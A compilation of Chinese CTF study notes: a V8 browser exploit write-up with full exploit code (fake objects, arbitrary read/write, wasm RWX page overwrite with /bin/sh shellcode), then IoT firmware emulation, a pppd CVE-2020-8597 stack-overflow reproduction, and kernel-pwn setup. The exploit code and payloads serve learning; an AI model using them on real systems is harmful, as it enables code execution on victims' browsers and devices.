let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
// ××××××××4. 测试××××××××
var a = [1.1,2.2,3.3];
var address = addressOf(a);
var read = read64(address);
console.log("[*]read 0x"+hex(address)+":0x"+hex(read));
%DebugPrint(a);
%SystemBreak();
write64(address,0x01020304n);
%SystemBreak();

创建一个对象,找到他的地址。

读取对象地址存储的内容,然后改写对象地址存储的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> r
[...]
[*]read 0x000031f15738fa50:0x0000369d9e942ed9//读取出来对象地址存的数据是0x0000369d9e942ed9
0x31f15738fa51 <JSArray[3]>
//查看对象地址的内存,发现和读取出来的一样
pwndbg> telescope 0x000031f15738fa50
00:0000│ 0x31f15738fa50 —▸ 0x369d9e942ed9 ◂— 0x400002d1469d401 <=对象地址,存储的内容被读取
01:0008│ 0x31f15738fa58 —▸ 0x2d1469d40c71 ◂— 0x2d1469d408
02:0010│ 0x31f15738fa60 —▸ 0x31f15738fa29 ◂— 0x2d1469d414

pwndbg> c
Continuing.

pwndbg> telescope 0x000031f15738fa50
00:0000│ 0x31f15738fa50 ◂— 0x1020304 <=对象地址,存储的内容被改写
01:0008│ 0x31f15738fa58 —▸ 0x2d1469d40c71 ◂— 0x2d1469d408
02:0010│ 0x31f15738fa60 —▸ 0x31f15738fa29 ◂— 0x2d1469d414

成功!!

任意写改进

问题:通过上面的方式任意地址写,在写0x7fxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。

解决:DataView对象中的backing_store会指向申请的data_bufbacking_store相当于我们的elements),修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

1
2
3
4
5
6
7
8
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

浏览器运行shellcode:wasm

wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。

使用:网站https://wasdk.github.io/WasmFiddle/:在线将C语言直接转换为wasm并生成JS配套调用代码。(左下角选择Code Buffer,然后点击最上方的Build按钮,左下角生成了我们需要的wasm代码。)

image-20201017005734798

问题:wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。所以不能直接在wasm中写入我们的shellcode,然后浏览器调用执行。

方案:结合漏洞将原本内存中的的wasm代码替换为shellcode,当后续调用wasm的接口时,实际上调用的就是我们的shellcode了。

步骤:

1.首先加载一段wasm代码到内存中

2.然后通过addressOf找到存放wasm的内存地址

3.接着通过任意地址写原语用shellcode替换原本wasm的代码内容

4.最后调用wasm的函数接口即可触发调用shellcode

寻找存放wasm代码的内存页地址

通过Function—>shared_info—>WasmExportedFunctionData—>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址。

1
2
3
4
5
6
7
//test.js,用debug版本调试
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8 
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x2c708e5dfab9: [Function] in OldSpace
- map: 0x07f1e5ac4379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2c708e5c2109 <JSFunction (sfi = 0x84e79c8039)>
- elements: 0x1c0c1f4c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2c708e5dfa81 <SharedFunctionInfo 0> <= shared_info
- name: 0x1c0c1f4c4ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
[...]
//shared_info在Function+0x18的位置
pwndbg> telescope 0x2c708e5dfab9-1
00:0000│ 0x2c708e5dfab8 —▸ 0x7f1e5ac4379 ◂— 0x700001c0c1f4c01
01:0008│ 0x2c708e5dfac0 —▸ 0x1c0c1f4c0c71 ◂— 0x1c0c1f4c08
... ↓
03:0018│ 0x2c708e5dfad0 —▸ 0x2c708e5dfa81 ◂— 0x5900001c0c1f4c09 <= here(看最左边这个03:0018)
04:0020│ 0x2c708e5dfad8 —▸ 0x2c708e5c1869 ◂— 0x1c0c1f4c0f
05:0028│ 0x2c708e5dfae0 —▸ 0x84e79c0699 ◂— 0xd100001c0c1f4c15
06:0030│ 0x2c708e5dfae8 —▸ 0x3e5b7d3c2001 ◂— or cl, byte ptr [rdi + rbx + 0xc]
07:0038│ 0x2c708e5dfaf0 —▸ 0x1c0c1f4c0bc1 ◂— 0x1c0c1f4c01


pwndbg> job 0x2c708e5dfa81
0x2c708e5dfa81: [SharedFunctionInfo] in OldSpace
- map: 0x1c0c1f4c09e1 <Map[56]>
- name: 0x1c0c1f4c4ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x2c708e5dfa59 <WasmExportedFunctionData> <= WasmExportedFunctionData
- code (from data): 0x3e5b7d3c2001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
[...]
//WasmExportedFunctionData在SharedFunctionInfo+0x8的位置
pwndbg> telescope 0x2c708e5dfa81-1
00:0000│ 0x2c708e5dfa80 —▸ 0x1c0c1f4c09e1 ◂— 0x700001c0c1f4c01
01:0008│ 0x2c708e5dfa88 —▸ 0x2c708e5dfa59 ◂— 0x100001c0c1f4c58 <= here(看最左边这个01:0008)
02:0010│ 0x2c708e5dfa90 —▸ 0x1c0c1f4c4ae1 ◂— 0x1c0c1f4c04
03:0018│ 0x2c708e5dfa98 —▸ 0x1c0c1f4c2a39 ◂— 0x1c0c1f4c13
04:0020│ 0x2c708e5dfaa0 —▸ 0x1c0c1f4c04d1 ◂— 0x1c0c1f4c05
05:0028│ 0x2c708e5dfaa8 ◂— 0x0
... ↓
07:0038│ 0x2c708e5dfab8 —▸ 0x7f1e5ac4379 ◂— 0x700001c0c1f4c01

pwndbg> job 0x2c708e5dfa59
0x2c708e5dfa59: [WasmExportedFunctionData] in OldSpace
- map: 0x1c0c1f4c5879 <Map[40]>
- wrapper_code: 0x3e5b7d3c2001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x2c708e5df8c1 <Instance map = 0x7f1e5ac9789> <= instance
- function_index: 0
//instance在WasmExportedFunctionData+0x10的位置
pwndbg> telescope 0x2c708e5dfa59-1
00:0000│ 0x2c708e5dfa58 —▸ 0x1c0c1f4c5879 ◂— 0x500001c0c1f4c01
01:0008│ 0x2c708e5dfa60 —▸ 0x3e5b7d3c2001 ◂— or cl, byte ptr [rdi + rbx + 0xc]
02:0010│ 0x2c708e5dfa68 —▸ 0x2c708e5df8c1 ◂— 0x71000007f1e5ac97 <= here(看最左边这个02:0010)
03:0018│ 0x2c708e5dfa70 ◂— 0x0
... ↓
05:0028│ 0x2c708e5dfa80 —▸ 0x1c0c1f4c09e1 ◂— 0x700001c0c1f4c01
06:0030│ 0x2c708e5dfa88 —▸ 0x2c708e5dfa59 ◂— 0x100001c0c1f4c58
07:0038│ 0x2c708e5dfa90 —▸ 0x1c0c1f4c4ae1 ◂— 0x1c0c1f4c04


pwndbg> telescope 0x2c708e5df8c1-1+0x88
00:0000│ 0x2c708e5df948 —▸ 0x1864fd681000 ◂— movabs r10, 0x1864fd681260 /* 0x1864fd681260ba49 */
01:0008│ 0x2c708e5df950 —▸ 0x6158a14e409 ◂— 0x71000007f1e5ac91
02:0010│ 0x2c708e5df958 —▸ 0x6158a14e679 ◂— 0x71000007f1e5acad
03:0018│ 0x2c708e5df960 —▸ 0x2c708e5c1869 ◂— 0x1c0c1f4c0f
04:0020│ 0x2c708e5df968 —▸ 0x2c708e5df9e9 ◂— 0x71000007f1e5aca1
05:0028│ 0x2c708e5df970 —▸ 0x1c0c1f4c04d1 ◂— 0x1c0c1f4c05
... ↓
pwndbg> vmmap 0x1864fd681000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x1864fd681000 0x1864fd682000 rwxp 1000 0 +0x0

所以,根据以上,可以编写代码自动查找该地址。

1
2
3
4
5
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

整合的调试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
%SystemBreak();
1
2
3
4
5
6
7
8
pwndbg> r
[...]
[*] leak wasm func addr: 0x000019659b1a1fe8
[*] leak rwx_page_addr: 0x000028c152102000
[...]
pwndbg> vmmap 0x000028c152102000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28c152102000 0x28c152103000 rwxp 1000 0 +0x0

成功!

getshell

编写getshell的部分

shellcode这里找的:https://www.it610.com/article/1295723160905261056.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();//调用wasm,实际调用到了shellcode

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();

image-20201017022813473

注:非root用户可以开shell,/bin/sh这个文件不是只有root才能执行,进root是提权洞存在的意义。

参考资料

总结

花了好久,终于弄完了,真的是,做题5分钟,环境3小时的真实写照,环境强推国外云服务器,大概需要1天时间。

v8这块做下来,还是比较好理解的,可能刚开始看有点晕,但是静下心来好好想想还是能想得通。

本文由winter原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/219815
安全客 - 有思想的安全新媒体

embedded

反汇编

mips架构的题,ida没法反编译成伪代码,用反编译mips的工具ghidra,安装包在文件夹里。windows下运行ghidraRun.bat,linux下执行ghidraRun,emm,需要有jdk的环境。

传文件到qemu

将linux下的embedded_heap文件传入qemu:

linux:sudo ifconfig tap0 12.0.0.2

qemu:ifconfig eth0 12.0.0.1

遇到设备不存在,ifconfig,在开头看网卡名字

ping通

linux:python -m SimpleHTTPServer

qemu:wget 12.0.0.2:8000/embedded_heap

image-20200831110650474

启动

将两个so.0文件放到/lib文件下(注意:是根目录,,,)

1
2
$ mv libuClibc-0.9.33.2.so libc.so.0
$ mv ld-uClibc-0.9.33.2.so ld-uClibc.so.0

image-20200831191612015

qemu-mips -L ./ ./embedded_heap

也可以直接./embedded_heap

【可以使用的原因可能是因为binutils的存在用编译器自动转换了】

注意

还要修改lib文件下链接文件的权限

image-20200831191636914

参考

https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/

https://zybuluo.com/H4l0/note/1633971


交叉编译环境

交叉编译(cross-compilation)是指,在某个主机平台上(比如PC上)用交叉编译器编译出可在其他平台上(比如ARM上)运行的代码的过程。

IOT 安全实战资料收集整合:https://zybuluo.com/H4l0/note/1524758

一、固件安全概述

​ 固件指设备内部保存的设备 “驱动程序”,通过固件,操作系统才能按照标准的设备驱动实现特定机器的运行动作。固件是担任着一个系统最基础最底层工作的软件。

​ 在硬件设备中,固件就是硬件设备的灵魂,因为一些硬件设备除了固件以外没有其它软件组成,因此固件也就决定着硬件设备的功能及性能。

固件结构特点

iot 设备固件一般由 bootloader、kernel、rootfs 几部分组成。

image-20200829170912807

二、固件模拟概述

iot 设备固件属于嵌入式固件的一种,无法直接运行在 x86 架构上。
需要借助一些模拟器来进行模拟,一般选择 qemu 模拟器。

vmware 和 qemu 的区别

vmware 和 qemu都是虚拟机软件,他们的区别如下:

  • vmware 目前只能模拟 x86 和 x64 架构,也就是是或不能模拟其他指令集,所以通常用来运行 ubuntu 系统,安装开发环境来进行交叉编译开发ARM软件。
  • qemu 则能够在PC系统中模拟其他指令集的处理器,比如直接模拟Arm架构的处理器,当然也可以模拟 x86 和 x64 架构。

使用:

  • 通常在PC平台安装 vmware 虚拟机软件,运行 ubuntu,编写和编译arm架构软件,然后在目标开发板运行。
  • qemu 可以认为是在没有Arm开发板的情况下来模拟一个Arm开发板,运行 ubuntu 中开发的软件进行验证。

qemu 固件模拟

有两种运行方式:

  • 用户模式(user mode):qemu 可以在当前CPU上执行被编译为支持其他CPU的程序(例如:qemu 可以在 x86 机器上执行一个ARM二进制可执行程序)。
1
~$ qemu-arm -L ./ ././usr/bin/tddp

image-20200829174231769

  • 系统模式(system mode):qemu 能模拟整个电脑系统,包括中央处理器及其他周边设备。
1
~/squashfs-root# chroot . sh

image-20200829174236510

三、MISP PWN & ARM PWN

1)ctf 中的 mips pwn

(a)2020 De1ctf - pppd (CVE-2020-8597)

考点:

  1. nday cve 漏洞分析和利用;
  2. mips 指令集栈溢出漏洞的调试和利用

文件:vmlinuxrootfs.imgqemu的启动脚本start.sh

漏洞点:

eap_requesteap_response函数中,rhostname是在栈中分配的256字节长的缓冲区。在EAPT_MD5CHAP分支中,由于不正确的大小检查,主机名大于256个字节长将被允许被复制到rhostname,从而导致堆栈溢出。

image-20200830121124694

操作步骤:

(1)用cpio解包rootfs.img

在chall目录下创建rootfs文件夹:mkdir rootfs

image-20200830121439048

1
2
$ cd rootfs
$ cpio -idvm < ../rootfs.img

(2)编辑etc/inittab

找到对应相同的注释,把下面的覆盖过去即可。

1
2
3
4
5
6
7
8
9
# Put a getty on the serial port
#ttyS0::respawn:/sbin/getty -L ttyS0 0 vt100 # GENERIC_SERIAL
#ttyS0::sysinit:/pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100
# Bring up network device
::sysinit:/sbin/ifup -a
# Launch gdbserver
ttyS0::sysinit:/gdbserver :1234 /pppd /dev/ttyS1 auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100

# Stuff to do for the 3-finger salute

(3)修改start.sh文件

将最后面-net null...选项修改为-net user,hostfwd=tcp::1234-:1234 -net nic -serial stdio -serial pty

(4)将gdbserver放到环境的根目录rootfs/

(5)重新打包rootfs.img

1
2
$ cd rootfs
$ find . | cpio -H newc -o > ../rootfs.img

(6)运行

./start.sh

image-20200830122145171

打开一个新的窗口,使用gdb启动并连接远程pppd

1
2
3
4
5
winter@ubuntu:~/hws_zongjie/pppd/attachment/docker/chall$ gdb-multiarch -ex 'set architecture mips'   \
-ex 'target remote :1234' \
-ex 'file rootfs/pppd' \
-ex 'break *0x42F9A8' \
-ex 'continue'

再打开一个新的窗口

编写一个1024字节长的循环字符串/tmp/sc作为payload:

1
2
3
$ python -c 'from pwn import*; open("/tmp/sc", "wb").write(cyclic(1024))'
$ cat /tmp/sc
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak

接着

(1)下载ppp的源码

1
2
3
git clone https://github.com/paulusmack/ppp.git
cd ppp
cd pppd

(2)修改eap.c,搜索eap_chap_response,找到

1
2
eap_chap_response(esp, id, hash, esp->es_client.ea_name,
esp->es_client.ea_namelen);

修改为

1
2
3
4
5
char payload[1024] = {0};
FILE *fp = fopen("/tmp/sc", "r");
fread(payload, 1, 1024, fp);
fclose(fp);
eap_chap_response(esp, id, hash, payload, 1024);

(3)编译

1
2
3
4
cd ..
pppd$ make
$ cd pppd
$ cp pppd pppd-payload

(4)在本地机器运行patched pppd

1
sudo ./pppd-payload noauth local defaultroute debug nodetach /dev/pts/1 user admin password 1234568

不久,远程pppd崩溃并出现分段错误。

image-20200830154226602

获取flag:

方法一:

执行./exp.sh,wireshark单独捕捉流量,然后直接搜flag

方法二:

msf生成 shellcode,然后用gen_payload.py脚本去生成payload就行了

不过由于这是本地模拟,方法一可能抓不到,方法二反弹shellcode好像也有点问题,但是会回连端口。

参考:

https://www.anquanke.com/post/id/200639

https://github.com/xf1les/ctf-writeups/tree/master/De1taCTF_2020/pppd

https://github.com/De1ta-team/De1CTF2020/blob/master/writeup/pwn/pppd/README_zh.md

(b)2019 0ctf - embeded_heap

参考:

https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/

https://zybuluo.com/H4l0/note/1633971

考点:

  1. mips 堆溢出利用;
  2. uClibc 堆管理机制。

2)ctf 中的 arm pwn

四、固件中常见安全漏洞

栈溢出

栈溢出是在IOT设备固件中非常常见的一类的漏洞,当溢出的长度足以控制栈上的返回地址时,很容易造成任意代码执行的风险。

image-20200830015127901

DLINK DIR-815 路由器前台栈溢出

命令执行 / 命令注入

命令注入在IOT设备固件同样非常普遍,且利用简单,注入点通常运行的服务都是root权限。

  • DLINK DIR-859 upnp 协议命令注入
  • tplink sr20 路由器命令注入
  • Draytek Vigor2960 前台登录处栈溢出

TPLINK Sr20 路由器 tddp 协议命令注入漏洞

拒绝服务

在 IOT 设备固件中,拒绝服务漏洞通常是由于程序自身代码逻辑的缺陷导致的一类漏洞,这类漏洞一般都是由于内存操作方面的操作不当,造成空指针异常或者非法地址引用等问题进而导致设备服务崩溃或者设备重启。

五、实战

栈溢出

TPLINK WR841n 路由器后台栈溢出

漏洞成因:httpd 服务中 stringModify 函数没有对转移义后的字符串长度进行有效判断,导致最后的字符串复制到目标栈内存空间中,其长度超过当前栈空间的大小,发生栈溢出。

命令注入

TPLINK Sr20 路由器 tddp 协议命令注入漏洞

漏洞成因:tddp 协议服务对用户的输入没有进行有效的过滤,导致用户可以构造恶意的数据包造成命令注入。


cpio的解包与打包:

cpio -idvm < ../rootfs.img
find . | cpio -H newc -o > ../initrd.cpio

squashfs解包与打包:

unsquashfs openwrt.squashfs
mksquashfs squashfs-root-0 1.squashfs -comp xz

ext4

这种文件系统的打包与解包使用mount挂载

image-20200829204006754

可以把cpio,squashfs,ext4理解成一个压缩包,都可以用binwalk解包,但是打包的方式是不同的

这些东西其实就是文件系统,不仅仅保存文件内容,还保存这文件的元数据(名字,修改时间,作者啥啥的)

适合人群:内核基础为0

知识学习

基础知识:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/basic_knowledge-zh/

https://xz.aliyun.com/t/7625#toc-10

copy_from_user

copy_from_user(void to, const void __user from, unsigned long n)

(1)to:将数据拷贝到内核地址

(2)from:需要拷贝数据的用户地址

(3)n:拷贝数据的长度(字节)

也就是将form用户地址中的数据拷贝到to内核地址中去,拷贝长度是n

cpio解压和打包

解压:cpio -idvm < ../initramfs.cpio
打包:find . | cpio -H newc -o > ../initramfs.cpio

环境搭建

调试,startvm.sh末尾加上

1
-gdb tcp::1234 -S

【注:上一行后面还要加上’ \ ‘,不然的话,远程调试可能端口没开,连不上】

image-20200903111140398

实践

ret2usr(level1)

说明:参考Linux Kernel Pwn 初探,主要加上具体的一些细节

查找prepare_kernel_cred和commit_creds的地址
 $ grep prepare_kernel_cred  /proc/kallsyms 
 $ grep commit_creds  /proc/kallsyms 

image-20200903105056015

但是直接执行,地址都是0x0,需要root权限。

image-20200903105223481

方法:修改suid

(1)创建一个文件夹

1
2
$ mkdir myimage
$ cd myimage

(2)解压initramfs.cpio文件

1
cpio -idvm < ../initramfs.cpio

(3)修改suid

进入etc/init.d/rcS,将1000修改为0

1
level1/myimage$ gedit etc/init.d/rcS

image-20200903110009863

(4)重新打包

1
2
level1/myimage$ find . | cpio -H newc -o > ../initramfs.cpio
level1/myimage$ cd ..

(5)再次执行两条命令即可

image-20200903110203208

已经是root权限了

image-20200903110251793

prepare_kernel_cred的地址为0xffffffff810b9d80

commit_creds的地址为0xffffffff810b99d0

1
2
3
4
5
6
7
8
9
10
11
12
/ # grep prepare_kernel_cred  /proc/kallsyms 
ffffffff8109a620 T prepare_kernel_cred
